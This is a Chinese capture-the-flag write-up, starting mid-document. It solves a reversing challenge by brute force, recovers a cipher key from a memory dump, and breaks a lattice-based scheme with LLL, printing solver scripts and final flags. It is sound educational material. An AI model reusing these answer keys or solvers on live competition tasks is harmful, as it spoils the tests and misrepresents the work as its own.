"85f7c2f7689bbf43965d120e3e7d4989",
"2d291f1367021787efb4a9bf3a204a92",
"7caf326155610f1b827a16e31cb9e04d",
"026910fc9c1aee91868e39dc5c0a3828",
"6f6dd1338d58da08a6c3a5ac28e73728",
"9555bb8ef33de07ed414521b30d1ce1f",
"f45c235edf62094bbbdd63a7b8c6dbc3",
"db2b5f869cc8517f596a4cd182a812e7",
"c6cf507b8a27e604a04d999ad8b9c5b4",
"5292154eb9e144201ec8e87dbb49769f",
"e6f55bc893978043e128015cc02b0197",
"cf727d37d5347f6573f3c82b1cc36287",
"7f1412d1f3e82f7335d19fa944c368ed",
"c3fe545e249ef80f5327d01be270c784",
"5ccd45379ddf5c9be0654e88c6984c83" };
int hex2int(char h) {
    if (h >= '0'&&h <= '9') {
        return h - '0';
    }
    else if (h >= 'a'&&h <= 'f') {
        return h - 'a' + 10;
    }
    else {
        return 0;
    }
}
char int2hex(int x) {
    char t[] = "0123456789abcdef";
    return t[x];
}

int modplus(int a, int b) {
    return (a + b) % 16;
}

int modminus(int a, int b) {
    return (16 + a - b) % 16;
}

int modmult(int a, int b) {
    return (a*b) % 16;
}

int modxor(int a, int b) {
    return (a^b) % 16;
}

int onechange(int index, int k) {
    int p1, p2;
    int g1, g2;
    g1 = hex2int(table[31][index]) / 4;
    g2 = hex2int(table[31][index]) % 4;
    if (g1 == 0) {
        p1 = modplus(k, hex2int(table[index][hex2int(table[30][index])]));
    }
    else if (g1 == 1) {
        p1 = modminus(k, hex2int(table[index][hex2int(table[30][index])]));
    }
    else if (g1 == 2) {
        p1 = modmult(k, hex2int(table[index][hex2int(table[30][index])]));
    }
    else if (g1 == 3) {
        p1 = modxor(k, hex2int(table[index][hex2int(table[30][index])]));
    }
    if (g2 == 0) {
        p2 = modplus(k, hex2int(table[index][hex2int(table[30][index]) + 15]));
    }
    else if (g2 == 1) {
        p2 = modminus(k, hex2int(table[index][hex2int(table[30][index]) + 15]));
    }
    else if (g2 == 2) {
        p2 = modmult(k, hex2int(table[index][hex2int(table[30][index]) + 15]));
    }
    else if (g2 == 3) {
        p2 = modxor(k, hex2int(table[index][hex2int(table[30][index]) + 15]));
    }
    if (p1 == hex2int(table[index][31]) || p2 == hex2int(table[index][31])) {
        return 1;
    }
    else {
        return 0;
    }
}
int main() {
    char input[64]="Sangfor{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}";
    int li = strlen(input);
    for (int i = 0; i < li; i++) {
        if (i < 8) {
        }
        else if (i == li - 1) {
        }
        else {
            for (int t = 0; t < 16; t++) {
                input[i] = int2hex(t);
                int u = onechange(i - 8, hex2int(input[i]));
                if (u == 1) {
                    printf("%d %c\n",i-8,int2hex(t));
                }
            }

        }

    }
    system("pause");
}

得到的結果如下:

0 9 e
1 5 9
2 8 b
3 b d
4 5 c
5 6 9
6 4 d
7 3 b
8 b e
9 b d
10 9 f
11 1 9
12 1 9
13 f
14 2 4
15 6 7 e
16 a f
17 2 4
18 4 e
19 b e
20 5 6
21 1 3 5 7 9 b d e f
22 2 3
23 7
24 0 5
25 0
26 6
27 4
28 4 e
29 3 c

此為每一位的可行值,逐位爆破,共計有種不同的flag,選擇一個flag并將md5值寫在題目中即可實現多文件。

基于以上爆破結果,此腳本即可完成功能。

import hashlib

p01=['95','e5','99','e9']
p23=['8b','bb','8d','bd']
p45=['56','c6','59','c9']
p67=['43','d3','4b','db']
p89=['bb','eb','bd','ed']
p10=['91','f1','99','f9']
p12=['1f','9f']
p14=['2','4']
p15=['6','7','e']
p16=['a2','f2','a4','f4']
p18=['4b','eb','4e','ee']
p20=['5','6']
p21=['1','3','5','7','9','b','d','e','f']
p22=['27','37']
p24=['0064','5064']
p28=['4','e']
p29=['3','c']
str = 'Sangfor{'
for a01 in range(len( p01 )):
 ? ?for a23 in range(len( p23 )):
 ? ? ? ?for a45 in range(len( p45 )):
 ? ? ? ? ? ?for a67 in range(len( p67 )):
 ? ? ? ? ? ? ? ?for a89 in range(len( p89 )):
 ? ? ? ? ? ? ? ? ? ?for a10 in range(len( p10 )):
 ? ? ? ? ? ? ? ? ? ? ? ?for a12 in range(len( p12 )):
 ? ? ? ? ? ? ? ? ? ? ? ? ? ?for a14 in range(len( p14 )):
 ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?for a15 in range(len( p15 )):
 ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?for a16 in range(len( p16 )):
 ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?for a18 in range(len( p18 )):
 ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?for a20 in range(len( p20 )):
 ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?for a21 in range(len( p21 )):
 ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?for a22 in range(len( p22 )):
 ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?for a24 in range(len( p24 )):
 ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?for a28 in range(len( p28 )):
 ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?for a29 in range(len( p29 )):
 ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?str = 'Sangfor{'+p01[a01]+p23[a23]+p45[a45]+p67[a67]+p89[a89]+p10[a10]+p12[a12]+p14[a14]+p15[a15]+p16[a16]+p18[a18]+p20[a20]+p21[a21]+p22[a22]+p24[a24]+p28[a28]+p29[a29]+'}'
 ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?mk=hashlib.md5(bytes(str,"utf8")).hexdigest()
 ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?if mk[0:10]=='16f6d95849':
 ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?print(str+':')
 ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?print(mk)

部分花絮: 題目初次制作時,命題人發現題目的偽代碼缺失了虛擬機的部分,但是單步調試又能發現虛擬機的邏輯確實存在,經過仔細辨認,這部分邏輯入口處存在一些花指令,干擾了ida的判斷,將其注釋掉或強行動態跟蹤入口,都是可行的。后來發現是VS2017編譯時自動優化導致匯編代碼類似花指令導致的。

IDA打開,分析主函數可以較容易的分析出所需的輸入是Sangfor{30位hex},然后按照Label11所述的邏輯進行判定:

接下來的部分無法在F5中得到,但是可以基于匯編從text view得到,這部分十六進制字符的部分值得注意:

目前無法得到關于這些字符如何使用的信息,動態調試時,關注這部分地址,可以分析出這是一個虛擬機,其中: - 最后的64個字符為opcode,這64個字節中前面32個決定偏移,后面32個決定計算方式 - 計算方式包括模加,模減,模乘和異或,4種計算方法,32個字節中的前30個分別對30位輸入決定,因為是16進制,可以分析出高4位決定一種,低4位決定一種,兩種計算分別進行,存在于兩個變量中 - 偏移值決定輸入是與前面30*32的十六進制數的哪一位做運算,第一種運算是:第i位與第i行的第x位(x受偏移值控制,最大為15)進行計算,第二種運算是:第i位與第i行的第15+x位做運算,兩個結果都是與第i行最后一位比較,有一個相等即可完成檢查 - 據此可以寫爆破腳本,見“題目制作過程”得到每一位的可行值 - 基于以上爆破結果,此腳本即可完成功能

import hashlib

p01=['95','e5','99','e9']
p23=['8b','bb','8d','bd']
p45=['56','c6','59','c9']
p67=['43','d3','4b','db']
p89=['bb','eb','bd','ed']
p10=['91','f1','99','f9']
p12=['1f','9f']
p14=['2','4']
p15=['6','7','e']
p16=['a2','f2','a4','f4']
p18=['4b','eb','4e','ee']
p20=['5','6']
p21=['1','3','5','7','9','b','d','e','f']
p22=['27','37']
p24=['0064','5064']
p28=['4','e']
p29=['3','c']
str = 'Sangfor{'
for a01 in range(len( p01 )):
    for a23 in range(len( p23 )):
        for a45 in range(len( p45 )):
            for a67 in range(len( p67 )):
                for a89 in range(len( p89 )):
                    for a10 in range(len( p10 )):
                        for a12 in range(len( p12 )):
                            for a14 in range(len( p14 )):
                                for a15 in range(len( p15 )):
                                    for a16 in range(len( p16 )):
                                        for a18 in range(len( p18 )):
                                            for a20 in range(len( p20 )):
                                                for a21 in range(len( p21 )):
                                                    for a22 in range(len( p22 )):
                                                        for a24 in range(len( p24 )):
                                                            for a28 in range(len( p28 )):
                                                                for a29 in range(len( p29 )):
                                                                    str = 'Sangfor{'+p01[a01]+p23[a23]+p45[a45]+p67[a67]+p89[a89]+p10[a10]+p12[a12]+p14[a14]+p15[a15]+p16[a16]+p18[a18]+p20[a20]+p21[a21]+p22[a22]+p24[a24]+p28[a28]+p29[a29]+'}'
                                                                    mk=hashlib.md5(bytes(str,"utf8")).hexdigest()
                                                                    if mk[0:10]=='16f6d95849':
                                                                        print(str+':')
                                                                        print(mk)

Crypto

SinCipher

1.拿到文件用binwalk跑啥也沒有。

2.用strings看有很多無意義的字符串,限制長度后,可以看到如下字符,獲取到加密的iv和密文了,猜測有pyc文件,版本為3.8.2。

$ strings -8 memdump
expect python 3.8.2c
z+SinCipher.gen_round_key.<locals>.<listcomp>r
SinCipher.gen_round_key
z'SinCipher.sub_trans.<locals>.<listcomp>r
SinCipher.sbox_trans)
__encrypt_oneD
SinCipher.__encrypt_onec
z%SinCipher.encrypt.<locals>.<listcomp>r
_SinCipher__encrypt_one)
<module>
{"iv": "8e9313ce03257990eb5c019f97afe2aa4ceb27ac327f4493f300bffe3fb94dc8", "cipher": "c732f791dde0a9e7819da08462e9e767b43df88b8e450d2d63e076fd0f32fe6a51e7fbcc220f4c7b30"}
......

3.根據版本號與pyc的結構,定位到pyc的起始位置為0x19020:

1:9020h 55 0D 0D 0A 00 00 00 00 0C F2 67 61 5E 13 00 00
1:9030h E3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
1:9040h 00 04 00 00 00 40 00 00 00 73 76 00 00 00 64 00
1:9050h 64 01 6C 00 5A 00 64 00 64 01 6C 01 5A 01 64 00
1:9060h 64 01 6C 02 5A 02 64 00 64 01 6C 03 5A 03 64 00
1:9070h 64 02 6C 04 6D 05 5A 05 01 00 64 03 65 03 6A 06
1:9080h 76 00 73 3E 4A 00 64 04 83 01 82 01 47 00 64 05
1:9090h 64 06 84 00 64 06 65 07 83 03 5A 08 65 09 64 07

4.提取出pyc并反編譯:

$ dd of=tmp1.pyc if=memdump skip=1 bs=102432
9+1 records in
9+1 records out
946144 bytes (946 kB, 924 KiB) copied, 0.001197 s, 790 MB/s

$ uncompyle6.exe tmp1.pyc > tmp.py

5.查看代碼發現它只有加密部分,且存在一個假的加密密鑰:

def main():
    secret_key = b'O_O.... -_-...'  # 這是錯誤的密鑰
    iv = weak_rand_str(32)
    sin = SinCipher(secret_key, iv)
    plain_text = input('')
    plain_bytes = plain_text.encode('utf8')
    cipher_bytes = sin.encrypt(plain_bytes)
    print(json.dumps({'iv':iv.hex(),  'cipher':cipher_bytes.hex()}))

if __name__ == '__main__':
    main()

現在已知加密算法/IV和密文,需要找出加密的密鑰再寫出解密算法。

6.經過分析加密算法,加密腳本只有S盒,需要先算出逆S盒:

def r_sbox_gen(sbox: list):
    r_sbox = list(range(0, 256))
    for i in range(0, 256):
        raw = (sbox[i] & 0xf0) >> 4
        rol = sbox[i] & 0xf
        r_sbox[(raw * 16) + rol] = i
    return r_sbox

另外它會通過輸入的密鑰生成輪密鑰,輪密鑰間存在相互關系:

def gen_round_key(cls, mk: tuple):
    rk0 = [(cls.FK[i] ^ mk[i]) & 0xffffffff for i in range(0, 4)]
    rk = rk0 * cls.ROUND_COUNT
    for i in range(1, cls.ROUND_COUNT):
        for j in range(0, 4):
            if j == 0:
                rk[i * 4 + j] = cls.sbox_trans(cls.ROUND_KEY[i - 1] ^ rk[i * 4 + j - 4]) ^ rk[i * 4 + j - 1]
            else:
                rk[i * 4 + j] = rk[i * 4 + j - 4] ^ rk[i * 4 + j - 1]
    return rk

根據輪密鑰規律,每一個密鑰是它的前一位與前4位異或而得,每輪的第一位還和輪數相關,因此可通過此規律在內存中搜尋密鑰,且只需要知道連續的5位就能恢復出原始密鑰,算法如下:

def crack_rk(data):
    def find_key_first(x: list):
        # 先定位到一個符合規則的位置
        for i in range(len(x) - 1, 3, -1):
            if x[i] == x[i - 4] ^ x[i - 1]:
                x = x[:i + 1]
                return x

    def find_round(x: list):
        """獲取一輪的數據和當前輪數"""
        for i in range(len(x) - 1, 3, -1):
            if x[i] == x[i - 4] ^ x[i - 1]:
                continue
            for j in range(SinCipher.ROUND_COUNT - 1):
                if x[i - 4] == SinCipher.rsbox_trans(x[i - 1] ^ x[i]) ^ SinCipher.ROUND_KEY[j]:
                    # 找到了它,辣么
                    round = j
                    x = x[i - 4:i]
                    return round, x

    def recovery_key(round_key: list[int], round):
        """從一個完整的輪密鑰恢復出原始密鑰"""
        assert len(round_key) == 4
        round += 1  # 第0輪開始
        rk = round * 4 * [0] + round_key
        for i in range(round - 1, 0, -1):
            for j in range(3, -1, -1):
                rk[i * 4 + j] = (rk[(i + 1) * 4 + j] ^ rk[(i + 1) * 4 + j - 1]) & 0xffffffff
                if j == 0:
                    rk[i * 4 + j] = (SinCipher.rsbox_trans(rk[i * 4 + j]) ^ SinCipher.ROUND_KEY[i - 1]) & 0xffffffff
        rk0 = tuple(map(lambda x, y: (x ^ y) & 0xffffffff, rk[4:8], SinCipher.FK))
        return SinCipher.sin_i2b(rk0)

    x = b2i(data)
    x = find_key_first(x)
    x = find_round(x)
    return recovery_key(x[1], x[0])

#> e08f08b75ee3ccb560f25920a1af79fc

7.恢復出密鑰后,可通過加密算法寫出解密算法,解密數據。

def decrypt(data):
    secret_key = crack_rk(data)
    cipher = '''{"iv": "8e9313ce03257990eb5c019f97afe2aa4ceb27ac327f4493f300bffe3fb94dc8", "cipher": "c732f791dde0a9e7819da08462e9e767b43df88b8e450d2d63e076fd0f32fe6a51e7fbcc220f4c7b30"}'''
    cipher = json.loads(cipher)
    iv = bytes.fromhex(cipher['iv'])
    cipher = bytes.fromhex(cipher['cipher'])
    sin = SinCipher(secret_key, iv)
    plain = sin.decrypt(cipher)
    print(plain.decode('utf'))

#> e08f08b75ee3ccb560f25920a1af79fc
#> SangFor{Rexz-zluMoHtlhyC3t7E8jB7psZWIKCp}

GeGe

這一題實質上就是一道求解SVP的題目。

前置知識:

空間(Span)

給定一組線性無關的基向量v1, v2, ..., vn,那么這些基向量的所有線性組合。

圖片

所形成的集合,叫做這組基向量所張成的空間。

例如,在二維平面中,選兩個單位正交向量作為基向量。

圖片

由這兩組基向量的所有可能的線性組合。

圖片

張成的空間為整個二維平面。二維平面上的任何一點,都可以由這兩組基底的一個線性組合來表示。

格(Lattice)

格的定義與空間類似,給定一組線性無關的基向量v1, v2, ..., vn,那么這些基向量的所有整系數線性組合。

圖片

所形成的集合,叫做這組基向量所張成的格。(系數不是任何實數,而是任何整數)不同的基底,可能會張成不同的格。對原基底進行整系數線性轉換得到的新的基底,張成的格不變。

格相關的問題中,有兩個知名的難題:

SVP(最短向量問題,Shortest Vector Problem):給定格和基向量,找到格中的一個長度最短的非零向量。CVP(最近向量問題,Closest Vector Problem):給定格和基向量,以及一個不在格上的目標向量,找到格中一個距離目標向量最近的格向量。在廣義上的這兩大難題已經被證明是NP難問題。

本題是求解SVP(最短向量問題,Shortest Vector Problem)的題目。

格基規約算法中的LLL算法,可以求解2維的SVP問題。

解題思路:

已知2個關系式和p、h、c;求m、f、g。目前無法確定隨機數r的值,想辦法化簡。

圖片

圖片

由于未知量較多,先假設f、g已知。對上面一式帶入二式。

圖片

兩邊同乘f。

圖片

得到:

圖片

r 為1024 bit,g 為768 bit,m 為flag字符串轉成數字,一個字符8bit,一般來說flag不會太長,所以基本上是小于1000 bit,f 為1024 bit,p 為3072 bit。

右邊式子的值小于p,所以模p,得到的是:

圖片

則令:

圖片

即:

圖片

通過變換以及參數之間的大小關系,在同余式里面得出了一個等式。

這樣可以將隨機數r約掉。

圖片

此時,r被化簡,只需要求出f、g,就可以的到明文m的值:

圖片

注:在模 g下運算,g是一個768 bit的強素數,這就保證了,f是個1024 bit的數,在模 g下,f' = f - k*g的逆元必定存在。

現在只要求f、g,就能解出m,求f、g的方法,此式子,看做格來求解SVP問題。

圖片

兩邊同乘f。

圖片

可以構造一個由下面這個矩陣M中的兩個行向量(1,h), (0,p)所張成的格:

兩邊同乘f。

圖片

下面我們來證明向量(f, g)是在這個格上的。

證明

將同余式,

圖片

化為等式,

圖片

恒等變換,

圖片

可以發現,

圖片

向量 (f,g) 可以由基向量M的某種整系數線性組合 (f, -u) 來表示,因此向量 (f,g) 就在這個格上。

已知h, p, f, g的大小。

h:2000多bit p:3072bit f:1024 bit g:768 bit

相對于兩個基底向量 (1, h), (0, p) 來說,向量 (f, g) 的長度要小得多得多,根據Gaussian heurstic可知,在這個格中最短向量的長度大概在sqrt(2^3072)約等于2^1536左右。因此,很大概率上,這個(f, g)就是這個格的最短向量。本題是求解SVP(最短向量問題,Shortest Vector Problem)的題目。

格基規約算法中的LLL算法,可以求解2維的SVP問題。

SageMath有內置的LLL算法實現。

# Construct lattice.
v1 = vector(ZZ, [1, h])
v2 = vector(ZZ, [0, p])
m = matrix([v1,v2]);

# Solve SVP.
shortest_vector = m.LLL()[0]
f, g = shortest_vector
print(f, g)
if f < 0:
    f = -f
if g < 0:
    g = -g

最短向量坐標點有可能為負,所以記得取正,得到f、g的值,帶入此式,可求得明文m。

圖片

# Decrypt.
a = f * c % p % g
m = a * inverse_mod(f, g) * inverse_mod(f, g) % g
print(hex(m))

完整的解題sage代碼:

https://sagecell.sagemath.org/,有在線的sagemath的編輯器。

# sage
h = 741685980036657124703570824117837943284881194590239567891710666488343092021421903134091659952188649247812611838027447639769126034113747591994366775687375938967689804725196805491414508727437312992768010481834419757670471940075261194879453423923219441257614756265217894613370817896974099404872094147543899352059390091684223795142546563465495330437517764151319634429847222377879702032311285611223439501739927480752413359628416456028279899789972187563618018323679710545652662164125111147585075432716751781364422911569092775368885926180663208641709638464929946478449144257415280995569405660352909393579251948867427394616986700595831562669657998566133390819818439212188072311169414636981074849512957738865991057231262600908765213165983659796926041306763839123708343607947260925756758958195312529064568036435600692876965244213968886099767921881431898610126403483239033503773049306021547301942115027730890839384097247580833293474121
p = 5050233608529261815459421720709753276268013465317000771847761427957603528040869563265512088502404346554651894767140649951393710149478346487842226815680708858366844907626693398878139547241241604618724512692518021411749264259840624777936075900186833546340656774885080077167415236481738944038259649234453620143653070795178807131460601258060138179420716641430995833287189245805143750618302652642415486774848066609117273672921413983390999591473162031857282360905260202304823054997752113434845072557695790439790834994452905929352930982374841221663164102442465389946495692126891880858411108590904768261764284777490002833011814702755850977198518393079695381425590965457831372828368997585616447655967985166143972176378983702291578885987130611662291398925420497222946016835570309006428390337561970913212519826593343069311323267590159714748533145359585126694351887284247992873298838977471763682734366220545390283355331333821253454043331
c = 4963446802809571857260968033018406539276364616675148117021060237971516477644729757887366370184520931673134679432221828418088740269678401592795884258839004421043480925685487118640904029869799288796776841100802058925924158488108687288473325967043012138220004040832342591268257566027836494855405293369721831070578120739130911781413843466700339507137012851728602473355307593717499171158125669083422816758550318994201088990498569083885253075290244364705716071465195000806835161297308685979961079993768940640000007962668547794453962322970945764813405945636433263033585002312448411399111242467826146156637847360854845950660733971967028085351610861477485679546778216767725324875436507647728423954456510223005524703874413166915026280934452826254607852008868036423390048222853332874148121355877236114661021786904667122523713764404195998302086834272099572649032757357798879435992821026120121023839152206091356383515016661233619651957370

# Construct lattice.
v1 = vector(ZZ, [1, h])
v2 = vector(ZZ, [0, p])
m = matrix([v1,v2]);

# Solve SVP.
shortest_vector = m.LLL()[0]
f, g = shortest_vector
if f < 0:
    f = -f
if g < 0:
    g = -g
print(hex(f), hex(g))

# Decrypt.
a = f * c % p % g
m = a * inverse_mod(f, g) * inverse_mod(f, g) % g
print(hex(m))

運行,可得flag的十六進制值。

轉換成明文得flag。

SangFor{pfa2s1f65ads4fwev1s2d3v1cxxavqes}

Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1761/